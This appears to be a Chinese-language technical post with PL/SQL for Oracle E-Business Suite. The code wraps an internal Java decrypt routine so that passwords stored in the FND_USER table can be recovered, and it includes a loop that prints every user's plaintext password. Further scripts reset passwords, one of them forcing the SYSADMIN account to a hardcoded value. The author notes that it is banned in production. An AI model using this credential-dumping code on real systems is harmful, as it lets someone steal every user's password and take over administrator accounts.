此方法已经通过测试，且是借鉴行内前辈的方式，表示感谢，同时需要注意，此程序在公司正式环境中严禁使用，会带来安全问题：
—将以下代码编译至目标系统—-
CREATE OR REPLACE PACKAGE cux_fnd_web_sec AUTHID CURRENT_USER AS
FUNCTION encrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2;
FUNCTION decrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2;
END;
/
CREATE OR REPLACE PACKAGE BODY cux_fnd_web_sec AS
FUNCTION encrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME ‘oracle.apps.fnd.security.WEBSessionManagerProc.encrypt(java.lang.String,java.lang.String) return java.lang.String’;
FUNCTION decrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME ‘oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String’;
END;
/
—查询出密匙—
SELECT user_name,
cux_fnd_web_sec.decrypt(upper(‘apps_uat_xx’), ENCRYPTED_USER_PASSWORD) pwd,
END_DATE
FROM APPS.fnd_user
where user_name = upper(‘xxxx’)；
SELECT usr.encrypted_user_password
FROM fnd_user usr
WHERE usr.user_name = ‘TEST’
—返回明文，将查询出的结果作为条件带入下面SQL命令—
SELECT cux_fnd_web_sec.decrypt(‘APPS’, ‘ZH226036FE93A20FAED89C4B92838B7C2A7F7133E613B028C482354D32F3C471AAB024794EAC70570FD2443717865F7BA824’)
FROM dual;
结果为: TEST
—批量获取，ORACLE为apps用户密码
declare
l_info varchar2(10000);
cursor user_info is
SELECT usr.user_name, usr.encrypted_user_password
FROM fnd_user usr
where 1 = 1
and to_char(usr.start_date, ‘yyyy’) >= ‘2012’
order by usr.creation_date asc;
begin
for c1 in user_info loop
l_info := cux_fnd_web_sec.decrypt(‘ORACLE’, c1.encrypted_user_password);
dbms_output.put_line(‘用户名：’ || c1.user_name || ‘ 密码：’ || l_info);
end loop;
end;
–后台重置密码
DECLARE
v_user_name VARCHAR2(30) := UPPER(‘test01’);
v_new_password VARCHAR2(30) := ‘test01’;
v_status BOOLEAN;
BEGIN
v_status := fnd_user_pkg.ChangePassword(username => v_user_name,
newpassword => v_new_password);
IF v_status = TRUE THEN
dbms_output.put_line(‘The password reset successfully for the User:’ ||
v_user_name);
COMMIT;
ELSE
DBMS_OUTPUT.put_line(‘Unable to reset password due to’ || SQLCODE || ‘ ‘ ||
SUBSTR(SQLERRM, 1, 100));
ROLLBACK;
END IF;
END;
–直接初始化
DECLARE
P_USER_NAME FND_USER.USER_NAME%TYPE;
P_INIT_PASSWORD VARCHAR2(30);—初始化密码，非加密的。
—
l_change_flag VARCHAR2(10);
l_reason varchar2(2000);
BEGIN
—输入参数(用户名和初始化的密码)
P_USER_NAME := ‘SYSADMIN’;
P_INIT_PASSWORD := ‘sinosoft123’;
———
—处理–
L_change_FLAG := fnd_web_sec.change_password(P_USER_NAME,P_INIT_PASSWORD);
IF L_change_FLAG = ‘Y’ THEN
— Bug 7016473 – During an administrative reset, set the last_logon_date to NULL
— instead of SYSDATE. last_logon_date should reflect the date the user last
— logged in successfully, not the date the user’s password was reset.
— This does not regress the fix for bug 4690441 because in fnd_web_sec.disable_user
— if last_logon_date is NULL, the last_update_date will be used which is the same
— date of the sysadmin reset, so the effect is the same.
—
— Reset password_date field to null to force password
— expiration the next time user logs on.
—
UPDATE FND_USER
SET last_logon_date= NULL
,password_date = NULL
–,LAST_UPDATE_DATE = SYSDATE
–,LAST_UPDATE_LOGIN = FND_GLOBAL.LOGIN_ID
WHERE USER_NAME = P_USER_NAME;
COMMIT;
—-
DBMS_OUTPUT.PUT_LINE(‘成功初始化用户(‘||P_USER_NAME||’)的密码为:’||P_INIT_PASSWORD);
ELSE
—显示为什么不可以修改
l_reason := fnd_message.get;
fnd_message.set_name(‘FND’, ‘FND_CHANGE_PASSWORD_FAILED’);
fnd_message.set_token(‘USER_NAME’, P_USER_NAME);
fnd_message.set_token(‘REASON’, l_reason);
app_exception.raise_exception;
END IF;
END;
